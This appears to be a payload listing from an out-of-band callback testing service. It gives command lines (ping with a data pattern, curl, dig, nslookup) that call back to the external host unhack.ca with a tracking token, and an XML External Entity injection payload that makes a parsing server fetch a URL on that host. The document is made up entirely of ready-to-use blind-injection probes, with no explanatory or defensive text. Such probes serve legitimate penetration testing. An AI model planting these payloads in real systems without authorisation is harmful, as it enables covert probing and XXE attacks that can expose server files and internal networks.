$ ping -c1 -p 0082cde37b2258936fbcbbbfb1a9eb00 unhack.ca
 

$ curl http://unhack.ca/p/82cde37b2258936fbcbbbfb1a9eb
 

$ dig 82cde37b2258936fbcbbbfb1a9eb @unhack.ca
 

$ dig 82cde37b2258936fbcbbbfb1a9eb.ns.unhack.ca
 

C:\> nslookup 82cde37b2258936fbcbbbfb1a9eb unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/82cde37b2258936fbcbbbfb1a9eb">]>
    <foo>&xxe;</foo>